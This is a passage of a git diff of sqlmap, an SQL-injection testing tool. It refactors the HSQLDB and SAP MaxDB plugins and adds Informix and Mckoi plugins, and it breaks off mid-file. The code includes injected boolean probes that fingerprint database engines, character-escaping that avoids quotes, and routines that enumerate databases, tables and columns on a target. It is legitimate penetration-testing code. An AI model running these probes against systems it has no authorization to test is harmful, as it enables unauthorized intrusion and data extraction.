+47,14 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None + banVer = kb.bannerFp.get("dbmsVersion") - if re.search("-log$", kb.data.banner): - banVer += ", logging enabled" + if banVer: + if re.search(r"-log$", kb.data.banner or ""): + banVer += ", logging enabled" - banVer = Format.getDbms([banVer] if banVer else None) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -80,15 +80,7 @@ def checkDbms(self): """ - if not conf.extensiveFp and (Backend.isDbmsWithin(HSQLDB_ALIASES) \ - or (conf.dbms or "").lower() in HSQLDB_ALIASES) and Backend.getVersion() and \ - Backend.getVersion() != UNKNOWN_DBMS_VERSION: - v = Backend.getVersion().replace(">", "") - v = v.replace("=", "") - v = v.replace(" ", "") - - Backend.setVersion(v) - + if not conf.extensiveFp and Backend.isDbmsWithin(HSQLDB_ALIASES): setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("1.7.2"): @@ -107,14 +99,21 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.HSQLDB logger.info(infoMsg) - result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") + result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False else: + result = inject.checkBooleanExpression("ZERO() IS 0") # Note: check for H2 DBMS (sharing majority of same functions) + if result: + warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB + logger.warning(warnMsg) + + return False + kb.data.has_information_schema = True Backend.setVersion(">= 1.7.2") setDbms("%s 1.7.2" % DBMS.HSQLDB) @@ -134,11 +133,21 @@ def checkDbms(self): return True else: - warnMsg = "the back-end DBMS is not %s or version is < 1.7.2" % DBMS.HSQLDB - logger.warn(warnMsg) + warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB + logger.warning(warnMsg) + + dbgMsg = "...or version is < 1.7.2" + logger.debug(dbgMsg) return False def getHostname(self): warnMsg = "on HSQLDB it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) + + def checkDbmsOs(self, detailed=False): + if Backend.getOs(): + infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() + logger.info(infoMsg) + else: + self.userChooseDbmsOs() diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index c2927406b4e..cfc1c86a8ca 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -1,24 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" + True """ def escaper(value): - return "||".join("CHAR(%d)" % ord(value[i]) for i in xrange(len(value))) + return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py index 6d007a6b2ad..f364bdf54d2 100644 --- a/plugins/dbms/hsqldb/takeover.py +++ b/plugins/dbms/hsqldb/takeover.py @@ -1,17 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on HSQLDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py new file mode 100644 index 00000000000..8cb00583fbe --- /dev/null +++ b/plugins/dbms/informix/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import INFORMIX_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.informix.enumeration import Enumeration +from plugins.dbms.informix.filesystem import Filesystem +from plugins.dbms.informix.fingerprint import Fingerprint +from plugins.dbms.informix.syntax import Syntax +from plugins.dbms.informix.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class InformixMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Informix methods + """ + + def __init__(self): + self.excludeDbsList = INFORMIX_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.INFORMIX] = Syntax.escape diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py new file mode 100644 index 00000000000..b7ae9e80506 --- /dev/null +++ b/plugins/dbms/informix/connector.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import ibm_db_dbi +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/ibmdb/python-ibmdb + User guide: https://github.com/ibmdb/python-ibmdb/wiki/README + API: https://www.python.org/dev/peps/pep-0249/ + License: Apache License 2.0 + """ + + def connect(self): + self.initConnection() + + try: + database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) + self.connector = ibm_db_dbi.connect(database, self.user, self.password) + except ibm_db_dbi.Error as ex: # base class: ibm_db_dbi maps wrong-credential (SQLSTATE 28) to ProgrammingError, not OperationalError + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except ibm_db_dbi.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except ibm_db_dbi.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py new file mode 100644 index 00000000000..c67bdf71368 --- /dev/null +++ b/plugins/dbms/informix/enumeration.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def searchDb(self): + warnMsg = "on Informix searching of databases is not implemented" + logger.warning(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on Informix searching of tables is not implemented" + logger.warning(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on Informix searching of columns is not implemented" + logger.warning(warnMsg) + + return [] + + def search(self): + warnMsg = "on Informix search option is not available" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Informix it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/informix/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py new file mode 100644 index 00000000000..9936a4deeec --- /dev/null +++ b/plugins/dbms/informix/fingerprint.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import INFORMIX_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.INFORMIX) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.INFORMIX + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(INFORMIX_ALIASES): + setDbms(DBMS.INFORMIX) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.INFORMIX + logger.info(infoMsg) + + result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSMASTER:SYSDUAL)") + + if result: + infoMsg = "confirming %s" % DBMS.INFORMIX + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT DBINFO('DBNAME') FROM SYSMASTER:SYSDUAL) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX + logger.warning(warnMsg) + + return False + + # Determine if it is Informix >= 11.70 + if inject.checkBooleanExpression("CHR(32)=' '"): + Backend.setVersion(">= 11.70") + + setDbms(DBMS.INFORMIX) + + self.getBanner() + + if not conf.extensiveFp: + return True + + infoMsg = "actively fingerprinting %s" % DBMS.INFORMIX + logger.info(infoMsg) + + for version in ("14.1", "12.1", "11.7", "11.5", "10.0"): + output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION','FULL') LIKE '%%%s%%')" % version) + + if output: + Backend.setVersion(version) + break + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py new file mode 100644 index 00000000000..430664adec4 --- /dev/null +++ b/plugins/dbms/informix/syntax.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.common import isDBMSVersionAtLeast +from lib.core.common import randomStr +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Backend.setVersion('12.10') + ['12.10'] + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + retVal = expression + + if isDBMSVersionAtLeast("11.70"): + excluded = {} + for _ in re.findall(r"DBINFO\([^)]+\)", expression): + excluded[_] = randomStr() + expression = expression.replace(_, excluded[_]) + + retVal = Syntax._escape(expression, quote, escaper) + + for _ in excluded.items(): + retVal = retVal.replace(_[1], _[0]) + + return retVal diff --git a/plugins/dbms/informix/takeover.py b/plugins/dbms/informix/takeover.py new file mode 100644 index 00000000000..7c19fd8799c --- /dev/null +++ b/plugins/dbms/informix/takeover.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def __init__(self): + self.__basedir = None + self.__datadir = None + + GenericTakeover.__init__(self) diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index 9370a87c603..fbf06a37e08 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,11 +23,7 @@ class MaxDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Take def __init__(self): self.excludeDbsList = MAXDB_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.MAXDB] = Syntax.escape diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index 1f9feca61db..73b8864d24d 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -1,18 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): - def __init__(self): - GenericConnector.__init__(self) - def connect(self): - errMsg = "on SAP MaxDB it is not possible to establish a " + errMsg = "on SAP MaxDB it is not (currently) possible to establish a " errMsg += "direct connection" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index 95ec6a38562..be85e648d7c 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -1,23 +1,33 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.common import Backend -from lib.core.common import randomStr +import re + +from lib.core.common import isListLike +from lib.core.common import isTechniqueAvailable +from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import paths from lib.core.data import queries +from lib.core.enums import DBMS +from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB +from lib.utils.brute import columnExists from lib.utils.pivotdumptable import pivotDumpTable from plugins.generic.enumeration import Enumeration as GenericEnumeration +from thirdparty import six +from thirdparty.six.moves import zip as _zip class Enumeration(GenericEnumeration): def __init__(self): @@ -27,7 +37,7 @@ def __init__(self): def getPasswordHashes(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} @@ -38,13 +48,12 @@ def getDbs(self): infoMsg = "fetching database names" logger.info(infoMsg) - rootQuery = queries[Backend.getIdentifiedDbms()].dbs - randStr = randomStr() + rootQuery = queries[DBMS.MAXDB].dbs query = rootQuery.inband.query - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.schemaname' % randStr], blind=True) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.schemaname' % kb.aliasName], blind=True) if retVal: - kb.data.cachedDbs = retVal[0].values()[0] + kb.data.cachedDbs = next(six.itervalues(retVal[0])) if kb.data.cachedDbs: kb.data.cachedDbs.sort() @@ -61,26 +70,26 @@ def getTables(self, bruteForce=None): conf.db = self.getCurrentDb() if conf.db: - dbs = conf.db.split(",") + dbs = conf.db.split(',') else: dbs = self.getDbs() - for db in filter(None, dbs): + for db in (_ for _ in dbs if _): dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) infoMsg = "fetching tables for database" - infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) + infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) - rootQuery = queries[Backend.getIdentifiedDbms()].tables + rootQuery = queries[DBMS.MAXDB].tables for db in dbs: - randStr = randomStr() query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER') - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.tablename' % randStr], blind=True) + blind = not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=blind) if retVal: - for table in retVal[0].values()[0]: + for table in list(retVal[0].values())[0]: if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: @@ -91,7 +100,7 @@ def getTables(self, bruteForce=None): return kb.data.cachedTables - def getColumns(self, onlyColNames=False): + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: @@ -99,27 +108,38 @@ def getColumns(self, onlyColNames=False): warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: - if ',' in conf.db: + if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) + if conf.col: + colList = conf.col.split(',') + else: + colList = [] + + if conf.exclude: + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] + + for col in colList: + colList[colList.index(col)] = safeSQLIdentificatorNaming(col) + if conf.tbl: - tblList = conf.tbl.split(",") + tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: - tblList = kb.data.cachedTables.values() + tblList = list(kb.data.cachedTables.values()) - if isinstance(tblList[0], (set, tuple, list)): + if tblList and isListLike(tblList[0]): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " @@ -129,51 +149,98 @@ def getColumns(self, onlyColNames=False): for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) - rootQuery = queries[Backend.getIdentifiedDbms()].columns + if bruteForce: + resumeAvailable = False + + for tbl in tblList: + for db, table, colName, colType in kb.brute.columns: + if db == conf.db and table == tbl: + resumeAvailable = True + break + + if resumeAvailable and not conf.freshQueries or colList: + columns = {} + + for column in colList: + columns[column] = None + + for tbl in tblList: + for db, table, colName, colType in kb.brute.columns: + if db == conf.db and table == tbl: + columns[colName] = colType + + if conf.db in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns + else: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} + + return kb.data.cachedColumns + + message = "do you want to use common column existence check? [y/N/q] " + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() + + if choice == 'N': + return + elif choice == 'Q': + raise SqlmapUserQuitException + else: + return columnExists(paths.COMMON_COLUMNS) + + rootQuery = queries[DBMS.MAXDB].columns for tbl in tblList: - if conf.db is not None and len(kb.data.cachedColumns) > 0 \ - and conf.db in kb.data.cachedColumns and tbl in \ - kb.data.cachedColumns[conf.db]: + if conf.db is not None and len(kb.data.cachedColumns) > 0 and conf.db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} + if dumpMode and colList: + if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {} + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) + continue + infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - randStr = randomStr() + blind = not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) + query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER') - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.columnname' % randStr, '%s.datatype' % randStr, '%s.len' % randStr], blind=True) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=blind) if retVal: table = {} columns = {} - for columnname, datatype, length in zip(retVal[0]["%s.columnname" % randStr], retVal[0]["%s.datatype" % randStr], retVal[0]["%s.len" % randStr]): + for columnname, datatype, length in _zip(retVal[0]["%s.columnname" % kb.aliasName], retVal[0]["%s.datatype" % kb.aliasName], retVal[0]["%s.len" % kb.aliasName]): columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length) - table[tbl] = columns - kb.data.cachedColumns[conf.db] = table + if conf.db not in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db] = {} + kb.data.cachedColumns[conf.db][tbl] = columns return kb.data.cachedColumns - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on SAP MaxDB it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} - def searchDb(self): - warnMsg = "on SAP MaxDB it is not possible to search databases" - logger.warn(warnMsg) - - return [] + def search(self): + warnMsg = "on SAP MaxDB search option is not available" + logger.warning(warnMsg) def getHostname(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on SAP MaxDB it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index 00d14a7f090..04f14201059 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -1,21 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on SAP MaxDB reading of files is not supported" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on SAP MaxDB writing of files is not supported" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 57f24fb8870..53c27d55b9d 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import Format +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -33,7 +34,7 @@ def _versionCheck(self): if not result: warnMsg = "unable to perform %s version check" % DBMS.MAXDB - logger.warn(warnMsg) + logger.warning(warnMsg) return None @@ -91,7 +92,7 @@ def getFingerprint(self): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or (conf.dbms or "").lower() in MAXDB_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(MAXDB_ALIASES): setDbms(DBMS.MAXDB) self.getBanner() @@ -111,7 +112,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -122,7 +123,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index b8612b3a11c..17a0a02c257 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -1,21 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - "SELECT 'abcdefgh' FROM foobar" + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True """ return expression diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index 32d3a0969cc..e93813f99ea 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -1,17 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on SAP MaxDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mckoi/__init__.py b/plugins/dbms/mckoi/__init__.py new file mode 100644 index 00000000000..eafd1d3c868 --- /dev/null +++ b/plugins/dbms/mckoi/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import MCKOI_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.mckoi.enumeration import Enumeration +from plugins.dbms.mckoi.filesystem import Filesystem +from plugins.dbms.mckoi.fingerprint import Fingerprint +from plugins.dbms.mckoi.syntax import Syntax +from plugins.dbms.mckoi.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MckoiMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Mckoi methods + """ + + def __init__(self): + self.excludeDbsList = MCKOI_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.MCKOI] = Syntax.escape diff --git a/plugins/dbms/mckoi/connector.py b/plugins/dbms/mckoi/connector.py new file mode 100644 index 00000000000..fe9093e7b99 --- /dev/null +++ b/plugins/dbms/mckoi/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from 